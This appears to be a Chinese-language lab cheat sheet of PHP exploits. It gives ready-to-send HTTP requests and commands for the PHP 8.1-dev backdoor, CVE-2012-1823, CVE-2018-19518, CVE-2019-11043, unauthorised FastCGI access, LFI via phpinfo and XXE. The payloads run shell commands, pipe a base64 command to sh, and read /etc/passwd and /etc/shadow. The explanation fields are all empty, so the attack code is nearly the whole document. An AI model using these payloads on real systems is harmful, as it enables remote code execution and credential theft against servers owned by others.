1.php 8.1-dev开发版本后门事件
操作技巧:
GET / HTTP/1.1
Host: 192.168.68.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-agentt: zerodiumphpinfo();
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
漏洞原理:
漏洞版本:8.1.0-dev
2.PHP-CGI远程代码执行漏洞(CVE-2012-1823)
操作技巧:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.68.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
<?php echo shell_exec("cat /etc/passwd"); ?>
漏洞原理:
漏洞版本:php < 5.3.12 or php < 5.4.2
3.PHP imap 远程命令执行漏洞(CVE-2018-19518)
操作技巧:
POST / HTTP/1.1
Host: 192.168.68.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
Origin: http://192.168.68.129:8080
Connection: close
Referer: http://192.168.68.129:8080/
Upgrade-Insecure-Requests: 1
hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=qldan&password=jd1kn132
漏洞原理:
漏洞版本:
4.PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
操作技巧:
使用go语言运行https://github.com/neex/phuip-fpizdam.git 网站下的包
执行http://your-ip:8080/index.php?a=cat/etc/passwd 即可
漏洞原理:
漏洞版本:PHP 7.0、7.1、7.2、7.3
5.PHP-FPM Fastcgi 未授权访问漏洞
操作技巧:
去https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75下载exp脚本
执行命令python fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c '<?php echo `cat /etc/passwd`;?>'(注意命令旁边是`,不是引号,且只能在linux中执行)
漏洞原理:
漏洞版本:
6.php文件包含漏洞(利用phpinfo)
操作技巧:
去https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py下载exp脚本
执行命令python2 in.py 127.0.0.1 8080 100
访问http://your-ip:8080/lfi.php?file=/tmp/g&1=system('id');
漏洞原理:
漏洞版本:
7.PHP环境 XML外部实体注入漏洞(XXE)
操作技巧:
POST /dom.php HTTP/1.1
Host: 192.168.68.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<root>
<name>&xxe;</name>
</root>
漏洞原理:
漏洞版本:<libxml2.9.0